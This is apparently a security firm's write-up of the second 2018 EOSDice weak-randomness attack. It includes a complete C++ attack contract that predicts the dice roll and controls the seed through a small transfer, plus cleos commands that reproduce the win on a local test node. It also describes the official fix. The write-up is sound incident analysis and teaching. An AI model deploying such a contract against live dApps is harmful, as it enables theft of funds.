EOS dApp 漏洞盘点-EOSDice弱随机数漏洞2


Written by [email protected]零时科技

本文所有过程均在本地测试节点完成

文章用到的所有代码均在 https://github.com/NoneAge/EOS_dApp_Security_Incident_Analysis

0x00 背景

零时科技监测到,EOSDice在2018年11月10日受到黑客攻击,根据EOSDice官方通告,此次攻击共被盗4,633 EOS,约合 2.51 万美元(2018年11月10日价格 1 EOS ≈ 5.42 USD)。

0x01 技术分析

2018年11月3日,也就是一周前,EOSDice因为dApp中存在可被预测随机数漏洞被黑客攻击,在前一篇文章中已经分析过了黑客的攻击手法《EOS dApp 漏洞盘点-EOSDice弱随机数漏洞1》。然而,上次的官方修复仍然存在问题,导致再次被黑客攻击。

我们再来分析一下EOSDice上次遭受攻击后官方的修复方法:

  • 开奖action由一次defer改为两次defer

https://github.com/loveblockchain/eosdice/commit/50a05dfb6c0d68b6035ed49d01133b5c2edaefdf

我们做了一个示意图,

可以看到,通过两次defer action开奖的时候,开奖actionrefer block为下注的block,下注前无法预测。

  • 账户的余额用很多账户的总和加起来当成随机数种子

https://github.com/loveblockchain/eosdice/commit/3c6f9bac570cac236302e94b62432b73f6e74c3b

本次修改看似无懈可击,不过还有一点EOSDice官方没有想到。我们来看看eosio.token的转账代码。

可以看到,当A账户给B账户转账的时候,转账通知会先发送给A账户,再发送给B账户。那么,黑客可以部署一个攻击合约,当黑客通过此账号来进行游戏的时候,攻击合约肯定先于EOSDice官方合约收到转账通知。黑客可以同样做一个两次defer action来预测随机数

下图是利用攻击合约预测随机数。

可以看到,黑客完全可以通过攻击合约来预测随机数的结果。不过,问题来了由于使用了两次defer action进行开奖,那么这个结果是黑客无法在下注前得到的。因此,黑客要对EOSDice进行攻击只能另辟蹊径。

因为EOSDice中,随机数种子是很多账户余额的总和,黑客完全可以通过计算能让黑客稳赢的状态下这个余额的值,然后在给任意账户转账即可控制EOSDice的随机数结果。下面,我们 编写一个测试合约进行试验

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
#include <utility>
#include <vector>
#include <string>
#include <eosiolib/eosio.hpp>
#include <eosiolib/time.hpp>
#include <eosiolib/asset.hpp>
#include <eosiolib/contract.hpp>
#include <eosiolib/types.hpp>
#include <eosiolib/transaction.hpp>
#include <eosiolib/crypto.h>
#include <boost/algorithm/string.hpp>
#include "eosio.token.hpp"

#define EOS_SYMBOL S(4, EOS)

using eosio::asset;
using eosio::permission_level;
using eosio::action;
using eosio::print;
using eosio::name;
using eosio::unpack_action_data;
using eosio::symbol_type;
using eosio::transaction;
using eosio::time_point_sec;


class attack : public eosio::contract {
public:
uint64_t id = 66;
attack(account_name self):eosio::contract(self)
{}

uint8_t random(account_name name, uint64_t game_id, uint64_t add)
{
auto eos_token = eosio::token(N(eosio.token));
asset pool_eos = eos_token.get_balance(N(eosbocai2222), symbol_type(S(4, EOS)).name());
asset ram_eos = eos_token.get_balance(N(eosio.ram), symbol_type(S(4, EOS)).name());
asset betdiceadmin_eos = eos_token.get_balance(N(betdiceadmin), symbol_type(S(4, EOS)).name());
asset newdexpocket_eos = eos_token.get_balance(N(newdexpocket), symbol_type(S(4, EOS)).name());
asset chintailease_eos = eos_token.get_balance(N(chintailease), symbol_type(S(4, EOS)).name());
asset eosbiggame44_eos = eos_token.get_balance(N(eosbiggame44), symbol_type(S(4, EOS)).name());
asset total_eos = asset(0, EOS_SYMBOL);

total_eos = pool_eos + ram_eos + betdiceadmin_eos + newdexpocket_eos + chintailease_eos + eosbiggame44_eos;
auto amount = total_eos.amount + add;
auto mixd = tapos_block_prefix() * tapos_block_num() + name + game_id - current_time() + amount;
print("[ATTACK RANDOM]tapos_block_prefix=>",(uint64_t)tapos_block_prefix(),"|tapos_block_num=>",(uint64_t)tapos_block_num(),"|name=>",name,"|game_id=>",game_id,"|current_time=>",current_time(),"|total=>",amount,"\n");

const char *mixedChar = reinterpret_cast<const char *>(&mixd);

checksum256 result;
sha256((char *)mixedChar, sizeof(mixedChar), &result);

uint64_t random_num = *(uint64_t *)(&result.hash[0]) + *(uint64_t *)(&result.hash[8]) + *(uint64_t *)(&result.hash[16]) + *(uint64_t *)(&result.hash[24]);
return (uint8_t)(random_num % 100 + 1);
}

//@abi action
void transfer(account_name from,account_name to,asset quantity,std::string memo)
{
if (from == N(eosbocai2222))
{
return;
}
transaction txn{};
txn.actions.emplace_back(
action(eosio::permission_level(_self, N(active)),
_self,
N(reveal1),
std::make_tuple(id)
)
);
txn.delay_sec = 2;
txn.send(now(), _self, false);

print("[ATTACK] current_time => ", current_time(), "\n");
}

//@abi action
void reveal1(uint64_t id)
{
transaction txn{};
txn.actions.emplace_back(
action(eosio::permission_level(_self, N(active)),
_self,
N(reveal2),
std::make_tuple(id)
)
);
txn.delay_sec = 2;
txn.send(now(), _self, false);
print("[ATTACK REVEAL1] current_time => ", current_time(), "\n");
}

//@abi action
void reveal2(uint64_t id)
{
std::string memo = "noneage";
print("[ATTACK REVEAL2] current_time => ", current_time(), "\n");

for(int i=0;i<=100;i++)
{
uint8_t r = random(_self, 87, i);
if((uint64_t)r < 6)
{
print("[PREDICT RANDOM] random = ", (uint64_t)r, "\n");
if(i > 0)
{
action(permission_level(_self, N(active)),
N(eosio.token),
N(transfer),
std::make_tuple(_self, N(eosbiggame44), asset(i, EOS_SYMBOL), memo))
.send();
}
break;
}
}
}
};

#define EOSIO_ABI_EX( TYPE, MEMBERS ) \
extern "C" { \
void apply( uint64_t receiver, uint64_t code, uint64_t action ) { \
auto self = receiver; \
if( code == self || code == N(eosio.token)) { \
if( action == N(transfer)){ \
eosio_assert( code == N(eosio.token), "Must transfer EOS"); \
} \
TYPE thiscontract( self ); \
switch( action ) { \
EOSIO_API( TYPE, MEMBERS ) \
} \
/* does not allow destructor of thiscontract to run: eosio_exit(0); */ \
} \
} \
}

EOSIO_ABI_EX( attack,
(transfer)(reveal1)(reveal2)
)

在这个攻击合约里,我们模仿了EOSDice同样进行了两次defer action。在第二次defer action中,我们计算出随机数小于6的情况下,需要的总余额比原先的增加多少,然后利用一个inline actioneosbiggame44账户转账,因为攻击合约先于EOSDice官方合约执行,所以最终控制了EOSDice的随机数结果。

测试流程:

  1. 创建相关账户并设置权限
1
2
3
4
5
6
7
8
9
10
11
12
# 攻击者账户
cleos create account eosio attacker EOS6xKEsz5rXvss1otnB5kD1Fv9wRYLmJjQuBefRYaDY7jcfxtpVk
cleos set account permission attacker active '{"threshold": 1,"keys": [{"key": "EOS6kSHM2DbVHBAZzPk7UjpeyesAGsQvoUKyPeMxYpv1ZieBgPQNi","weight": 1}],"accounts":[{"permission":{"actor":"attacker","permission":"eosio.code"},"weight":1}]}' owner -p [email protected]
# EOSDice 官方账户
cleos create account eosio eosbocai2222 EOS6xKEsz5rXvss1otnB5kD1Fv9wRYLmJjQuBefRYaDY7jcfxtpVk
cleos set account permission eosbocai2222 active '{"threshold": 1,"keys": [{"key": "EOS6kSHM2DbVHBAZzPk7UjpeyesAGsQvoUKyPeMxYpv1ZieBgPQNi","weight": 1}],"accounts":[{"permission":{"actor":"eosbocai2222","permission":"eosio.code"},"weight":1}]}' owner -p [email protected]
# 其他需要的账户
cleos create account eosio eosio.ram EOS6xKEsz5rXvss1otnB5kD1Fv9wRYLmJjQuBefRYaDY7jcfxtpVk
cleos create account eosio betdiceadmin EOS6xKEsz5rXvss1otnB5kD1Fv9wRYLmJjQuBefRYaDY7jcfxtpVk
cleos create account eosio newdexpocket EOS6xKEsz5rXvss1otnB5kD1Fv9wRYLmJjQuBefRYaDY7jcfxtpVk
cleos create account eosio chintailease EOS6xKEsz5rXvss1otnB5kD1Fv9wRYLmJjQuBefRYaDY7jcfxtpVk
cleos create account eosio eosbiggame44 EOS6xKEsz5rXvss1otnB5kD1Fv9wRYLmJjQuBefRYaDY7jcfxtpVk
  1. 向相关账户充值
1
2
3
4
5
6
7
cleos push action eosio.token issue '["attacker", "1000.0000 EOS", "1"]' -p eosio
cleos push action eosio.token issue '["eosbocai2222", "232323.2333 EOS", "1"]' -p eosio
cleos push action eosio.token issue '["eosio.ram", "23.2333 EOS", "1"]' -p eosio
cleos push action eosio.token issue '["betdiceadmin", "23.2333 EOS", "1"]' -p eosio
cleos push action eosio.token issue '["newdexpocket", "23.2333 EOS", "1"]' -p eosio
cleos push action eosio.token issue '["chintailease", "23.2333 EOS", "1"]' -p eosio
cleos push action eosio.token issue '["eosbiggame44", "23.2333 EOS", "1"]' -p eosio
  1. 编译相关合约并部署
1
2
3
4
5
6
7
8
9
10
11
12
# 编译攻击合约
eosiocpp -o attack.wast attack.cpp
eosiocpp -g attack.abi attack.cpp
# 部署攻击合约
cleos set contract ~/attack -p [email protected]

# 编译EOSDICE合约
eosiocpp -o eosdice.wast eosbocai2222.cpp
eosiocpp -g eosdice.abi eosbocai2222.cpp
# 部署EOSDICE合约
cleos set code eosbocai2222 eosdice.wasm -p [email protected]
cleos set abi eosbocai2222 eosdice.abi -p [email protected]
  1. 初始化EOSDice合约
1
cleos push action eosbocai2222 init '[""]' -p eosbocai2222
  1. 进行游戏
1
cleos push action eosio.token transfer '["attacker","eosbocai2222","1.0000 EOS", "dice-8-6-user"]' -p [email protected]

然后,我们来看看测试结果

经过攻击合约多次计算,找到只需要余额比之前多0.0021 EOS即可让本次投注中奖,然后再向eosbiggame44转入了0.0021 EOS,最终中奖,获得了19.7000 EOS(投入1 EOS)。

可以看到,利用攻击合约来控制EOSDice的随机数,可以达到必中的效果!

0x02 官方修复

官方修复很简单,在随机数算法中将账户余额这个可控因子删除了。

上述的攻击合约便无法通过转账控制随机数的结果。

0x03 推荐修复

如何得到安全的随机数是一个普遍的难题,但是在EOS上尤其困难,因为EOS并不提供随机数接口。所以随机数的种子必须得自己选择,选择种子的准则就是无法被提前预知。零时科技安全专家推荐参考EOS官方的随机数生成方法来生成较为安全的随机数

https://developers.eos.io/eosio-cpp/docs/random-number-generation

0x04 REFER

https://developers.eos.io/eosio-cpp/docs/random-number-generation

https://github.com/loveblockchain/eosdice/tree/f1ba04ea071936a8b5ba910b76597544a9e839fa

https://blog.csdn.net/TurkeyCock/article/details/84730045